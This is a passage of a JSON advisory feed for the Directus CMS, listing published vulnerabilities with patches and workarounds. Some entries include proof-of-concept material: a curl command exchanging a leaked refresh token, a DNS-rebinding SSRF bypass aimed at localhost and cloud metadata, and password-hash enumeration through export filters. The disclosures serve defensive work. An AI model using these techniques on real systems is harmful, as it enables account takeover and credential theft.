References\nhttps://github.com/patriksimek/vm2/security/advisories/GHSA-cchq-frgv-rjh5","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2023-09-15T17:12:42.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.6,"cvss_vector":"CVSS:3.1/AV:N/AC:H/PR:H/UI:R/S:C/C:H/I:H/A:H","references":["https://github.com/directus/directus/security/advisories/GHSA-22rr-f3p8-5gf8","https://github.com/patriksimek/vm2/security/advisories/GHSA-cchq-frgv-rjh5","https://github.com/directus/directus/pull/19332","https://github.com/directus/directus/commit/284156426fa94f688e8d65a7a4f34f9e6705f058","https://github.com/advisories/GHSA-22rr-f3p8-5gf8"],"source_kind":"github","identifiers":["GHSA-22rr-f3p8-5gf8"],"repository_url":"https://github.com/directus/directus","blast_radius":0.0,"created_at":"2023-09-15T18:05:49.136Z","updated_at":"2026-11-06T14:12:30.243Z","epss_percentage":null,"epss_percentile":null,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS0yMnJyLWYzcDgtNWdmOM4AA15b","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS0yMnJyLWYzcDgtNWdmOM4AA15b","packages":[{"ecosystem":"npm","package_name":"directus","versions":[{"first_patched_version":"10.6.0","vulnerable_version_range":"\u003c 10.6.0"}],"purl":"pkg:npm/directus"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS0yMnJyLWYzcDgtNWdmOM4AA15b/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1nZ2dtLTY2cmgtcHA5OM4AA046","url":"https://github.com/advisories/GHSA-gggm-66rh-pp98","title":"Incorrect Permission Checking for GraphQL Subscriptions","description":"### Summary\n\nCWE-200: Exposure of Sensitive Information to an Unauthorized Actor\nAccess to information you should not have access to when the permissions rely on `$CURRENT_USER` for filtering.\n\n### Details\n\nThe permission filters (i.e. `user_created IS $CURRENT_USER`) are not properly checked when using GraphQL subscription resulting in unauthorized users getting event on their subscription which they should not be receiving according to the permissions.\nThis can be any collection but out-of-the box the `directus_users` collection is configured with such a permissions filter allowing you to get updates for other users when changes happen.\n\nAn example:\n```graphql\nsubscription {\n  directus_users_mutated {\n    event\n    data {\n      id\n      last_access\n      last_page\n    }\n  }\n}\n```\n\n### Patches\nhttps://github.com/directus/directus/pull/19155\n\n### Workarounds\nDisable GraphQL Subscriptions\n\n### References","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2023-07-25T23:31:10.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":5.7,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:N/A:N","references":["https://github.com/directus/directus/security/advisories/GHSA-gggm-66rh-pp98","https://github.com/directus/directus/pull/19155","https://nvd.nist.gov/vuln/detail/CVE-2023-38503","https://github.com/advisories/GHSA-gggm-66rh-pp98"],"source_kind":"github","identifiers":["GHSA-gggm-66rh-pp98","CVE-2023-38503"],"repository_url":"https://github.com/directus/directus","blast_radius":0.0,"created_at":"2023-07-26T00:03:45.687Z","updated_at":"2026-11-06T02:06:05.948Z","epss_percentage":0.00499,"epss_percentile":0.42571,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1nZ2dtLTY2cmgtcHA5OM4AA046","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1nZ2dtLTY2cmgtcHA5OM4AA046","packages":[{"ecosystem":"npm","package_name":"directus","versions":[{"first_patched_version":"10.5.0","vulnerable_version_range":"\u003e= 10.3.0, \u003c 10.5.0"}],"purl":"pkg:npm/directus"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1nZ2dtLTY2cmgtcHA5OM4AA046/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS0zZ3ZwLTU0djItMmpycM4AAyhx","url":"https://github.com/advisories/GHSA-3gvp-54v2-2jrp","title":"Directus API vulnerable to denial of service","description":"An issue found in Directus API v.2.2.0 allows a remote attacker to cause a denial of service via a great amount of HTTP requests.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2023-04-04T15:30:27.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":6.5,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H","references":["https://nvd.nist.gov/vuln/detail/CVE-2020-19850","https://github.com/directus/api/issues/982","https://github.com/advisories/GHSA-3gvp-54v2-2jrp"],"source_kind":"github","identifiers":["GHSA-3gvp-54v2-2jrp","CVE-2020-19850"],"repository_url":"https://github.com/directus/api","blast_radius":0.0,"created_at":"2023-04-07T23:03:10.074Z","updated_at":"2026-11-06T14:13:43.375Z","epss_percentage":0.01079,"epss_percentile":0.64535,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS0zZ3ZwLTU0djItMmpycM4AAyhx","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS0zZ3ZwLTU0djItMmpycM4AAyhx","packages":[{"ecosystem":"npm","package_name":"directus","versions":[{"first_patched_version":"2.2.1","vulnerable_version_range":"= 2.2.0"}],"purl":"pkg:npm/directus"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS0zZ3ZwLTU0djItMmpycM4AAyhx/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS04dmcyLXdmM3EtbXd2N84AAyQe","url":"https://github.com/advisories/GHSA-8vg2-wf3q-mwv7","title":"directus vulnerable to Insertion of Sensitive Information into Log File","description":"### Summary\n\nCWE-532: Insertion of Sensitive Information into Log File discovered in v9.23.1. The `directus_refresh_token` is not redacted properly from the log outputs and can be used to impersonate users without their permission. \n\n### Details\n\nUsing `v9.23.1`, I am seeing that the `directus_refresh_token` is not properly redacted as indicated by https://github.com/directus/directus/blob/7c479c5161639aac466c763b6b958a9524201d74/api/src/logger.ts#L13\n\nI'm classifying this as a security vulnerability because if someone has access to the log outputs, for example with a shared Cloud account or Splunk implementation, they could exchange the refresh token using `/auth/refresh` for an access token and use the token to perform actions on behalf of an unsuspecting user. This situation creates issues with accountability and non-repudiation because we can no longer have confidence that actions taken in the application were authorized or even performed by the logged-in user. \n\nA couple of examples of this are:\n- A disgruntled employee deletes all of the data to get even with a target team member before logging off on their last day\n- Under the guise of their unsuspecting boss, a mischievous engineer uploads _questionable_ images that get displayed on internal or external facing content sites\n\nThe list could go on but I think these communicate the risk of an internal threat that has access to this information 😆 \n\n### PoC\n1. Set `LOG_STYLE=\"raw\"` and run Directus v9.23.1\n1. Log in to the application\n1. Look at the shell output and see that `directus_refresh_token` is logged\n    \u003e Note: This is different from the standard `raw` output format. I intentionally ran this with `npx directus start | pino-pretty` so logs would be easier to read. It can also be reproduced by running `npx directus start` alone. \n\n    ![image](https://user-images.githubusercontent.com/13325146/224877190-54e12d7e-3c3e-42d3-9e21-0bd4439f4f44.png)\n\n1. Exchange the `directus_refresh_token` for an `access_token`\n\n     ``` shell\n      curl -X POST \\\n        'http://0.0.0.0:8055/auth/refresh' \\\n        --header 'Accept: */*' \\\n        --header 'Cookie: directus_refresh_token=$shh'\n     ```\n\n### Impact\nBecause this can be used to exploit other threats related to  [CWE-284: Improper Access Control](https://cwe.mitre.org/data/definitions/284.html) I rank it with a Moderate severity. An insider with knowledge of this could do many mischievous things and get away with them for a long time without victims knowing about it. \n","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2023-03-23T19:47:12.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":4.2,"cvss_vector":"CVSS:3.1/AV:L/AC:L/PR:H/UI:R/S:U/C:H/I:N/A:N","references":["https://github.com/directus/directus/security/advisories/GHSA-8vg2-wf3q-mwv7","https://github.com/directus/directus/commit/349536303983ccba68ecb3e4fb35315424011afc","https://github.com/directus/directus/blob/7c479c5161639aac466c763b6b958a9524201d74/api/src/logger.ts#L13","https://nvd.nist.gov/vuln/detail/CVE-2023-28443","https://github.com/advisories/GHSA-8vg2-wf3q-mwv7"],"source_kind":"github","identifiers":["GHSA-8vg2-wf3q-mwv7","CVE-2023-28443"],"repository_url":"https://github.com/directus/directus","blast_radius":0.0,"created_at":"2023-03-23T20:03:49.609Z","updated_at":"2026-11-06T14:13:47.881Z","epss_percentage":0.00312,"epss_percentile":0.23798,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS04dmcyLXdmM3EtbXd2N84AAyQe","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS04dmcyLXdmM3EtbXd2N84AAyQe","packages":[{"ecosystem":"npm","package_name":"directus","versions":[{"first_patched_version":"9.23.3","vulnerable_version_range":"\u003c 9.23.3"}],"purl":"pkg:npm/directus"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS04dmcyLXdmM3EtbXd2N84AAyQe/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1tNXEzLTh3Z2YteDh4Zs4AAyAB","url":"https://github.com/advisories/GHSA-m5q3-8wgf-x8xf","title":"Directus vulnerable to extraction of password hashes through export querying","description":"### Impact\n\nUsers with read access to the `password` field in `directus_users` can extract the argon2 password hashes by brute forcing the export functionality combined with a `_starts_with` filter. This allows the user to enumerate the password hashes.\n\n### Patches\n\nThe problem has been patched by preventing any hashed/concealed field to be filtered against with the `_starts_with` or other string operator.\n\n### Workarounds\n\nEnsuring that no user has `read` access to the `password` field in `directus_users` is sufficient to prevent this vulnerability. \n\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open a Discussion in [directus/directus](https://github.com/directus/directus/discussions/new)\n* Email us at [security@directus.io](mailto:security@directus.io)","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2023-03-08T17:13:05.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":6.5,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:N","references":["https://github.com/directus/directus/security/advisories/GHSA-m5q3-8wgf-x8xf","https://nvd.nist.gov/vuln/detail/CVE-2023-27481","https://github.com/directus/directus/pull/14829","https://github.com/directus/directus/pull/15010","https://github.com/advisories/GHSA-m5q3-8wgf-x8xf"],"source_kind":"github","identifiers":["GHSA-m5q3-8wgf-x8xf","CVE-2023-27481"],"repository_url":"https://github.com/directus/directus","blast_radius":0.0,"created_at":"2023-03-08T18:03:17.490Z","updated_at":"2026-11-06T14:13:50.343Z","epss_percentage":0.00604,"epss_percentile":0.48614,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1tNXEzLTh3Z2YteDh4Zs4AAyAB","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1tNXEzLTh3Z2YteDh4Zs4AAyAB","packages":[{"ecosystem":"npm","package_name":"directus","versions":[{"first_patched_version":"9.16.0","vulnerable_version_range":"\u003c 9.16.0"}],"purl":"pkg:npm/directus"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1tNXEzLTh3Z2YteDh4Zs4AAyAB/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS00aG1xLWdncm0tcWZjNs4AAx-d","url":"https://github.com/advisories/GHSA-4hmq-ggrm-qfc6","title":"directus vulnerable to HTML Injection in Password Reset email to custom Reset URL","description":"### Impact\n\nInstances relying on an allow-listed reset URL are vulnerable to an HTML injection attack through the use of query parameters in the reset URL. \n\n### Patches\n\nThe problem has been resolved and released under version 9.23.0. People relying on a custom password reset URL should upgrade to 9.23.0 or later, or remove the custom reset url from the configured allow list.\n\n### Workarounds\n\nDisable the custom reset URL allow list.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2023-03-07T20:35:54.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.5,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N","references":["https://github.com/directus/directus/security/advisories/GHSA-4hmq-ggrm-qfc6","https://nvd.nist.gov/vuln/detail/CVE-2023-27474","https://github.com/directus/directus/issues/17119","https://github.com/directus/directus/pull/17120","https://github.com/advisories/GHSA-4hmq-ggrm-qfc6"],"source_kind":"github","identifiers":["GHSA-4hmq-ggrm-qfc6","CVE-2023-27474"],"repository_url":"https://github.com/directus/directus","blast_radius":0.0,"created_at":"2023-03-07T21:03:12.181Z","updated_at":"2026-11-06T14:13:51.908Z","epss_percentage":0.00531,"epss_percentile":0.44566,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS00aG1xLWdncm0tcWZjNs4AAx-d","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS00aG1xLWdncm0tcWZjNs4AAx-d","packages":[{"ecosystem":"npm","package_name":"directus","versions":[{"first_patched_version":"9.23.0","vulnerable_version_range":"\u003c 9.23.0"}],"purl":"pkg:npm/directus"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS00aG1xLWdncm0tcWZjNs4AAx-d/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1qM3JnLTNyZ20tNTM3aM4AAx7Z","url":"https://github.com/advisories/GHSA-j3rg-3rgm-537h","title":"Directus vulnerable to Server-Side Request Forgery On File Import","description":"### Summary\nDirectus versions \u003c=9.22.4 is vulnerable to Server-Side Request Forgery (SSRF) when importing a file from a remote web server (POST to `/files/import`). An attacker can bypass the security controls that were implemented to patch vulnerability [CVE-2022-23080](https://security.snyk.io/vuln/SNYK-JS-DIRECTUS-2934713) by performing a [DNS rebinding attack](https://en.wikipedia.org/wiki/DNS_rebinding) and view sensitive data from internal servers or perform a local port scan (eg. can access internal metadata API for AWS at `http://169.254.169.254` event if `169.254.169.254` is in the deny IP list).\n\n### Details\nDNS rebinding attacks work by running a DNS name server that resolves two different IP addresses when a domain is resolved simultaneously. This type of attack can be exploited to bypass the IP address deny list validation that was added to [`/api/src/services/file.ts`](https://github.com/directus/directus/blob/main/api/src/services/files.ts) for the function `importOne` to mitigate the previous SSRF vulnerability [CVE-2022-23080](https://security.snyk.io/vuln/SNYK-JS-DIRECTUS-2934713). The validation in [`/api/src/services/file.ts`](https://github.com/directus/directus/blob/main/api/src/services/files.ts) first checks if the resolved IP address for a domain name does not a resolve to an IP address in the deny list:\n\n```js\nlet ip = resolvedUrl.hostname;\n\nif (net.isIP(ip) === 0) {\n    try {\n        ip = (await lookupDNS(ip)).address;\n    } catch (err: any) {\n        logger.warn(err, `Couldn't lookup the DNS for url ${importURL}`);\n        throw new ServiceUnavailableException(`Couldn't fetch file from url \"${importURL}\"`, {\n            service: 'external-file',\n        });\n    }\n}\n\nif (env.IMPORT_IP_DENY_LIST.includes('0.0.0.0')) {\n    const networkInterfaces = os.networkInterfaces();\n\n    for (const networkInfo of Object.values(networkInterfaces)) {\n        if (!networkInfo) continue;\n\n        for (const info of networkInfo) {\n            if (info.address === ip) {\n                logger.warn(`Requested URL ${importURL} resolves to localhost.`);\n                throw new ServiceUnavailableException(`Couldn't fetch file from url \"${importURL}\"`, {\n                    service: 'external-file',\n                });\n            }\n        }\n    }\n}\n\nif (env.IMPORT_IP_DENY_LIST.includes(ip)) {\n    logger.warn(`Requested URL ${importURL} resolves to a denied IP address.`);\n    throw new ServiceUnavailableException(`Couldn't fetch file from url \"${importURL}\"`, {\n        service: 'external-file',\n    });\n}\n```\n\nOnce it validates that the resolved IP address is not in the deny list, then it uses `axios` to `GET` the url and saves the response content.\n\n```js\ntry {\n    fileResponse = await axios.get\u003cReadable\u003e(encodeURL(importURL), {\n        responseType: 'stream',\n    });\n} catch (err: any) {\n    logger.warn(err, `Couldn't fetch file from url \"${importURL}\"`);\n    throw new ServiceUnavailableException(`Couldn't fetch file from url \"${importURL}\"`, {\n        service: 'external-file',\n    });\n}\n```\n\nHowever, this validation check and fetching the web resource causes to DNS queries that enable a DNS rebinding attack. On the first DNS query, an attacker controlled name server can be configured to resolve to an external IP address that is not in the deny list to bypass the validation. Then when `axios` is called, the name server resolves the domain name to a local IP address.\n\n### PoC\nTo demonstrate we will be using an online tool named [rebinder](https://lock.cmpxchg8b.com/rebinder.html). Rebinder randomly changes the IP address it resolves to depending on the subdomain. For an example, `7f000001.8efa468e.rbndr.us` can resolve to either `142.250.70.142` (google.com) or **`127.0.0.1`**. Sending multiple `POST` requests to `/files/import` using this domain will eventually cause a resolution to `142.250.70.142` first to bypass the validation then fetch the sensitive from an internal server when `axios` is called.\n\nThe following screenshots show what it looks like when a successful attack occurs.\n\n*Downloading a file named `secret.txt` from a webserver running from `http://127.0.0.1/secret.txt`*\n![image](https://user-images.githubusercontent.com/6276577/218124035-26f7f0c3-47b3-424d-b4d4-bd3b47161983.png)\n\n*Receiving the request from the internal server. Note that the incoming connection is from **127.0.0.1**.*\n![image](https://user-images.githubusercontent.com/6276577/218124119-87b8d5d6-934d-4e07-be4d-066616a9a435.png)\n\n*After downloading the file it leaks the content of the secret file.*\n![image](https://user-images.githubusercontent.com/6276577/218122210-87b2e478-1081-4830-a9ea-e5d9f39bb129.png)\n\n### Impact\nAn attacker can exploit this vulnerability to access highly sensitive internal server and steal sensitive information. An example is on Cloud Environments that utilise internal APIs for managing machine and privileges. For an example, if `directus` is hosted on AWS EC2 instance and has an IAM role assigned to the EC2 instance then an attacker can exploit this vulnerability to steal the AWS access keys to impersonate the EC2 instance using the AWS API.\n","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2023-03-03T23:07:35.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":5.0,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N","references":["https://github.com/directus/directus/security/advisories/GHSA-j3rg-3rgm-537h","https://github.com/directus/directus/commit/ff53d3e69a602d05342e15d9bb616884833ddbff","https://github.com/directus/directus/releases/tag/v9.23.0","https://nvd.nist.gov/vuln/detail/CVE-2023-26492","https://github.com/advisories/GHSA-j3rg-3rgm-537h"],"source_kind":"github","identifiers":["GHSA-j3rg-3rgm-537h","CVE-2023-26492"],"repository_url":"https://github.com/directus/directus","blast_radius":0.0,"created_at":"2023-03-04T00:02:59.034Z","updated_at":"2026-11-06T14:13:51.914Z","epss_percentage":0.0096,"epss_percentile":0.61542,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1qM3JnLTNyZ20tNTM3aM4AAx7Z","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1qM3JnLTNyZ20tNTM3aM4AAx7Z","packages":[{"ecosystem":"npm","package_name":"directus","versions":[{"first_patched_version":"9.23.0","vulnerable_version_range":"\u003c 9.23.0"}],"purl":"pkg:npm/directus"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1qM3JnLTNyZ20tNTM3aM4AAx7Z/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS03N3FtLXd2cXEtZmc3Oc4AAuiy","url":"https://github.com/advisories/GHSA-77qm-wvqq-fg79","title":"Directus vulnerable to unhandled exception on illegal filename_disk value","description":"The Directus process can be aborted by having an authorized user update the `filename_disk` value to a folder and accessing that file through the `/assets` endpoint. \n\nThe vulnerability is patched and released in v9.15.0.\n\nYou can prevent this problem by making sure no (untrusted) non-admin users have permissions to update the `filename_disk` field on `directus_files`.\n\n### For more information\n\nIf you have any questions or comments about this advisory:\n* Open a Discussion in [directus/directus](https://github.com/directus/directus/discussions)\n* Email us at [security@directus.io](mailto:security@directus.io)\n\n### Credits\n\nThis vulnerability was first discovered and reported by Witold Gorecki.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2022-08-30T20:18:48.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":6.5,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H","references":["https://github.com/directus/directus/security/advisories/GHSA-77qm-wvqq-fg79","https://nvd.nist.gov/vuln/detail/CVE-2022-36031","https://github.com/advisories/GHSA-77qm-wvqq-fg79"],"source_kind":"github","identifiers":["GHSA-77qm-wvqq-fg79","CVE-2022-36031"],"repository_url":"https://github.com/directus/directus","blast_radius":0.0,"created_at":"2022-12-21T16:12:00.575Z","updated_at":"2026-11-06T14:14:46.504Z","epss_percentage":0.01,"epss_percentile":0.62936,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS03N3FtLXd2cXEtZmc3Oc4AAuiy","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS03N3FtLXd2cXEtZmc3Oc4AAuiy","packages":[{"ecosystem":"npm","package_name":"directus","versions":[{"first_patched_version":"9.15.0","vulnerable_version_range":"\u003c 9.15.0"}],"purl":"pkg:npm/directus"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS03N3FtLXd2cXEtZmc3Oc4AAuiy/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS01aDc1LXB2cTQtODJjOc4AAs67","url":"https://github.com/advisories/GHSA-5h75-pvq4-82c9","title":"Server-Side Request Forgery in Directus","description":"Directus versions v9.0.0-beta.2 through 9.6.0 are vulnerable to server-side request forgery (SSRF) in the media upload functionality, which allows a low privileged user to perform internal network port scans.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2022-06-23T00:00:33.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":5.0,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N","references":["https://nvd.nist.gov/vuln/detail/CVE-2022-23080","https://github.com/directus/directus/commit/6da3f1ed5034115b1da00440008351bf0d808d83","https://www.mend.io/vulnerability-database/CVE-2022-23080","https://github.com/advisories/GHSA-5h75-pvq4-82c9"],"source_kind":"github","identifiers":["GHSA-5h75-pvq4-82c9","CVE-2022-23080"],"repository_url":"https://github.com/directus/directus","blast_radius":0.0,"created_at":"2022-12-21T16:12:17.432Z","updated_at":"2026-11-06T14:15:03.350Z","epss_percentage":0.00826,"epss_percentile":0.57538,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS01aDc1LXB2cTQtODJjOc4AAs67","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS01aDc1LXB2cTQtODJjOc4AAs67","packages":[{"ecosystem":"npm","package_name":"directus","versions":[{"first_patched_version":"9.7.0","vulnerable_version_range":"\u003e= 9.0.0-beta.2, \u003c 9.7.0"}],"purl":"pkg:npm/directus"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS01aDc1LXB2cTQtODJjOc4AAs67/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1nMjdqLTc0ZnAteGZwcs04jw","url":"https://github.com/advisories/GHSA-g27j-74fp-xfpr","title":"Insecure default value for CORS configuration","description":"### Impact\n\nThe default value for the `CORS_ENABLED` and `CORS_ORIGIN` configuration was set to be very permissive by default. This could lead to unauthorized access in uncontrolled environments when the configuration hasn't been changed.\n\n### Patches\n\nThe default values for CORS have been changed in https://github.com/directus/directus/pull/12022 which is released under 9.7.0\n\n### Workarounds\n\nConfigure the CORS environment variables to match your project's usage, rather than leaving them at the (permissive) defaults.\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [directus/directus](https://github.com/directus/directus)\n* Email us at [security@directus.io](mailto:security@directus.io)","origin":"UNSPECIFIED","severity":"CRITICAL","published_at":"2022-04-05T18:31:22.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":9.8,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","references":["https://github.com/directus/directus/security/advisories/GHSA-g27j-74fp-xfpr","https://github.com/directus/directus/pull/12022","https://nvd.nist.gov/vuln/detail/CVE-2022-26969","https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS","https://github.com/directus/directus/blob/8daed9c41baeaf1d08c1e292bf9f0dcef65e48fb/docs/configuration/config-options.md","https://github.com/directus/directus/releases/tag/v9.7.0","https://security.snyk.io/vuln/SNYK-JS-DIRECTUS-2441822","https://github.com/advisories/GHSA-g27j-74fp-xfpr"],"source_kind":"github","identifiers":["GHSA-g27j-74fp-xfpr","CVE-2022-26969"],"repository_url":"https://github.com/directus/directus","blast_radius":0.0,"created_at":"2022-12-21T16:12:30.929Z","updated_at":"2026-11-06T14:15:21.231Z","epss_percentage":0.00998,"epss_percentile":0.62507,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1nMjdqLTc0ZnAteGZwcs04jw","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1nMjdqLTc0ZnAteGZwcs04jw","packages":[{"ecosystem":"npm","package_name":"directus","versions":[{"first_patched_version":"9.7.0","vulnerable_version_range":"\u003c 9.7.0"}],"purl":"pkg:npm/directus"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1nMjdqLTc0ZnAteGZwcs04jw/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS14bWpqLTNjNzYtNXc4NM04jg","url":"https://github.com/advisories/GHSA-xmjj-3c76-5w84","title":"Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') in directus","description":"### Impact\n\nUnauthorized JavaScript can be executed by inserting an iframe into the rich text html interface that links to a file uploaded HTML file that loads another uploaded JS file in its script tag. This satisfies the regular content security policy header, which in turn allows the file to run any arbitrary JS.\n\n### Patches\n\nThis was resolved in https://github.com/directus/directus/pull/12020 which is released in 9.7.0\n\n### Workarounds\n\nYou can disable the live embed in the WYSIWYG by adding `{ \"media_live_embeds\": false }` to the _Options Overrides_ option of the Rich Text HTML interface.\n\n### References\n\nhttps://github.com/directus/directus/pull/12020\n\n### For more information\n\nIf you have any questions or comments about this advisory:\n* Open an issue in [directus/directus](https://github.com/directus/directus)\n* Email us at [security@directus.io](mailto:security@directus.io)\n","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2022-04-05T18:30:15.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.8,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","references":["https://github.com/directus/directus/security/advisories/GHSA-xmjj-3c76-5w84","https://nvd.nist.gov/vuln/detail/CVE-2022-24814","https://github.com/directus/directus/pull/12020","https://github.com/directus/directus/releases/tag/v9.7.0","https://github.com/advisories/GHSA-xmjj-3c76-5w84"],"source_kind":"github","identifiers":["GHSA-xmjj-3c76-5w84","CVE-2022-24814"],"repository_url":"https://github.com/directus/directus","blast_radius":0.0,"created_at":"2022-12-21T16:12:30.937Z","updated_at":"2026-11-06T14:15:21.231Z","epss_percentage":0.01034,"epss_percentile":0.63537,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS14bWpqLTNjNzYtNXc4NM04jg","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS14bWpqLTNjNzYtNXc4NM04jg","packages":[{"ecosystem":"npm","package_name":"directus","versions":[{"first_patched_version":"9.7.0","vulnerable_version_range":"\u003c 9.7.0"}],"purl":"pkg:npm/directus"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS14bWpqLTNjNzYtNXc4NM04jg/related_packages","related_advisories":[]}],"docker_usage_url":"https://docker.ecosyste.ms/usage/npm/directus","docker_dependents_count":28,"docker_downloads_count":22153,"usage_url":"https://repos.ecosyste.ms/usage/npm/directus","dependent_repositories_url":"https://repos.ecosyste.ms/api/v1/usage/npm/directus/dependencies","status":null,"funding_links":["https://github.com/directus/directus?sponsor=1","https://github.com/sponsors/directus"],"critical":null,"issue_metadata":{"last_synced_at":"2026-11-04T01:34:01.983Z","issues_count":3518,"pull_requests_count":6092,"avg_time_to_close_issue":6670515.7432174245,"avg_time_to_close_pull_request":825150.5595172793,"issues_closed_count":2615,"pull_requests_closed_count":5469,"pull_request_authors_count":510,"issue_authors_count":1587,"avg_comments_per_issue":2.501137009664582,"avg_comments_per_pull_request":1.6403479973736046,"merged_pull_requests_count":4275,"bot_issues_count":4,"bot_pull_requests_count":1321,"past_year_issues_count":372,"past_year_pull_requests_count":1158,"past_year_avg_time_to_close_issue":1961093.590405904,"past_year_avg_time_to_close_pull_request":733000.3525896415,"past_year_issues_closed_count":271,"past_year_pull_requests_closed_count":1004,"past_year_pull_request_authors_count":225,"past_year_issue_authors_count":216,"past_year_avg_comments_per_issue":3.139784946236559,"past_year_avg_comments_per_pull_request":1.5025906735751295,"past_year_bot_issues_count":0,"past_year_bot_pull_requests_count":3,"past_year_merged_pull_requests_count":679,"issues_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/issues","maintainers":[{"login":"rijkvanzanten","count":582,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/rijkvanzanten"},{"login":"paescuj","count":547,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/paescuj"},{"login":"br41nslug","count":436,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/br41nslug"},{"login":"licitdev","count":248,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/licitdev"},{"login":"hanneskuettner","count":200,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/hanneskuettner"},{"login":"Nitwel","count":186,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/Nitwel"},{"login":"joselcvarela","count":151,"url"